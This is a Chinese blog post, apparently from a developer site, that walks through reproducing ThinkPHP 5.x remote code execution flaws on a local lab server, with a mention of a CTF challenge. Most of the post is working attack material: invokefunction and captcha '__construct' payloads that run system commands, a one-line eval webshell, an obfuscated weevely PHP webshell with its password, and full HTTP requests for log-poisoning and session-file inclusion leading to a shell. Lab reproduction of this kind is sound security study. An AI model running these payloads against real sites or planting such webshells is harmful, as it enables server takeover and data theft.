怎么设置php文件不用%3c也能运行,thinkphp5.x命令执行漏洞复现及环境搭建

楼主Linux环境是Centos7,LAMP怎么搭不用我废话吧,别看错了

一.thinkphp5.X系列

1.安装composer

yum -y install composer

b8a346fbb6d99327fb61263931086ed0.png

安装php拓展

yum -y install php-mysql php-gd libjpeg* php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-bcmath php-mhash -y

2.切换目录到/var/www/html

cd /var/www/html

安装thinkphp5

博主把含有命令执行漏洞的thinkphp源码链接附上

把文件解压到当前目录(/var/www/html)即可

ec7ecb5a18050a48b42164e13058ebc8.png

3.浏览器查看是否安装成功

921e4b72aba10c80f098df143f4e6148.png

到这里环境就搭建好了(各位看官如果照着前面的步骤没有成功的,麻烦把php运行环境搭建起来)

4.参考官方poc直接执行payload

#payload

http://192.168.2.134/tp5/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

/thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

/thinkphp/public/?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1

/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars=dir

/thinkphp/public/?s=index/\think\app/invokefunction&function=system&return_value=&command=dir

/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars[0]=dir&vars[1][]=

/thinkphp/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

01204d4261fcb438bfb46c32b4b342bf.png

可以看到,这里权限是Apache

6af5b4be9b561535dc36016c61b4ddd7.png

这里说下,头一天强网杯web有一题就是thinkphp5.x的命令执行漏洞,叫做强网先锋上单。。。

当时觉得还好,随便拉的几个队友,有人做出来了,我去重新做了一遍(关键是互相不认识,谁做的根本不知道)

一开始扫描目录,没发现什么,后面留意到有日志,都是命令执行错误的信息,猜到可能是命令执行,一看cms是thinkphp5

于是就百度翻payload去了,一打,flag有了,flag就藏在根目录下面,hhhhh

言归正传,下面尝试写小马,getshell整个系统

payload附上

http://192.168.2.134/tp5/public/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20 ^%3C?php%20@eval($_GET[%22dd%22])?^%3E%3Eceshi.php

强网的时候是可以正常写入的,但是无法解析php,可能设置了权限

本地测试的时候发现,根本无法写入小马,如图,估计要先看看源码,找找问题

d3b66b6dca702fe273d5475ca3f8f137.png

后面看了下日志,注意到报错,应该是语句被过滤了,小马不够强壮

d56e33dc7ab472275614970c2ff33cef.png

后面我用weevely重新生成了一个小马,重新载入,连上了

webshell附上

$v='$cK^&&$i

$S=str_replace('jW','','crjWjWeatejW_fjWjWunctijWon');

$t='K^zuncoK^mpress(@K^xK^(@bK^ase64_decodeK^($m[1K^]),$k)));K^ K^ $oK^=@ob_get_conteK^ntK^s(); @oK^bK^_';

$X='end_clean(K^); $K^r=@base6K^4_encoK^de(@x(K^K^K^@gzcomK^press($o),$k));K^ priK^nt("$p$khK^$r$kf");}';

$o='+K^)$kf/K^",@fK^ile_get_conteK^ntsK^("php://inK^put")K^K^,$m) == 1) { K^ @ob_sK^taK^rt(); @eK^val(@g';

$f='$k="098K^K^f6bcd";$khK^=K^"4621d373cade";$kK^f="4K^e832627bK^4f6"K^K^;$p="sK^015KnbG8K^frqxRiQ";fK^K^u';

$w='nctiK^on x($t,$kK^){K^$c=strlen($k)K^;$K^l=K^strlen($t);$o="K^"K^;K^for($i=0;$i

$N=str_replace('K^','',$f.$w.$v.$o.$t.$X);

$d=$S('',$N);$d();

?>

#######

密码test

#######

7b9ab5bc70b3745fdb9aed43ffd9c1e9.png

下一步,想办法提权操作,毕竟权限太低了

weevely支持很多的操作,如下图

6653bc91640e6067797e001da1d48e46.png

二.Thinkphp5.0.x(<5.0.24系列)RCE

payload:

Thinkphp5.0.23

POST发包

/index.php?s=captcha

POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

freebuf复现的文章缺少method=get参数,有的无法复现

靶机:http://www.whalwl.cn:8031/

2ac622dc3b6f4305fbd46d967b644da6.png

074909909f3f9c4ebc2a25196b28a259.png

提权略过

三.通过日志方式写入shell

环境不变(tp5.0.23)

1.假设服务器日志目录为/runtime/log/201911/22.log

bd5dbc450cdbc5c91a8c86752c7e4388.png

就可以尝试往日志中写,然后包含日志,getshell

2.写入

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

这里payloads随便写,只要有完整的可识别的php语句就可以,报错,看起来无事发生,回来看下日志记录

497a47a1ba8f610eabae7dc300bd10e7.png

3.日志

f9f2e527ad1d593cded67d77d79f365a.png

最后一行,写入成功,最后来包含日志

4.包含日志(这里必须要知道日志的路径)

Post方式?s=captcha

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/201911/22.log&x=phpinfo();

9c27c20cdaff8b15836709c0d33cb15a.png

5.略

四.通过session写入shell

环境(tp5.0.23)

1.找到你靶机session保存的位置,一般在phpinfo可以看到

fe53125e1c0c9d3e374a4b873f55306d.png

2.写入shell,通过Cookie写入

POST /tp5.0.23/public//?s=captcha HTTP/1.1

Host: 192.168.2.135Cookie: PHPSESSID=ThisIsATestaaaaa

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer:http://192.168.2.135/tp5.0.23/Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

Content-Length: 101

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

1124662f3dc9966b4b18d0766d1c0d76.png

到靶机上看,已经在靶机session目录下生成了

1aa6fc3f09b758478951973ed19de947.png

3.包含Session

此时session中保存的数据为

66b5354b36d6c4c0bb5d5f5992575314.png

其中就包含了一句话木马,在知道Session目录的情况下就可以直接getshell

POST /tp5.0.23/public//?s=captcha HTTP/1.1

Host: 192.168.2.135User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer:http://192.168.2.135/tp5.0.23/Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

Content-Length: 120

_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1

5d0a9d4303048682647573b61401666e.png

可以看到这里的php代码已经被执行了,所以只显示了双引号前面的数据

4.下一步连接一句话木马试试

POST /tp5.0.23/public//?s=captcha HTTP/1.1

Host: 192.168.2.135User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer:http://192.168.2.135/tp5.0.23/Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

Content-Length: 142

_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1&x=passthru('ls -la');

8e3267725d3bbc713f7730ef78877603.png

5.略

6.当禁用一些函数啥都干不了的时候,可以尝试glob伪协议,遍历数据,结合文件读取函数进行读取文件内容

POST /tp5.0.23/public//?s=captcha HTTP/1.1

Host: 192.168.2.135Cookie: PHPSESSID=ThisIsATestaaaaa

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer:http://192.168.2.135/tp5.0.23/Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

Content-Length: 226

_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1&x=$a=new%20DirectoryIterator(%22glob:///*%22);foreach($a%20as%20$f){echo($f-%3E__toString().%27%20%27);};

6431c06fa7fef804485b1eb9668cb3ea.png

参考文章:

https://www.freebuf.com/vuls/194127.html

https://www.jianshu.com/p/ae48507135f3

https://www.cnblogs.com/r00tuser/p/11410157.html

修复补丁:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值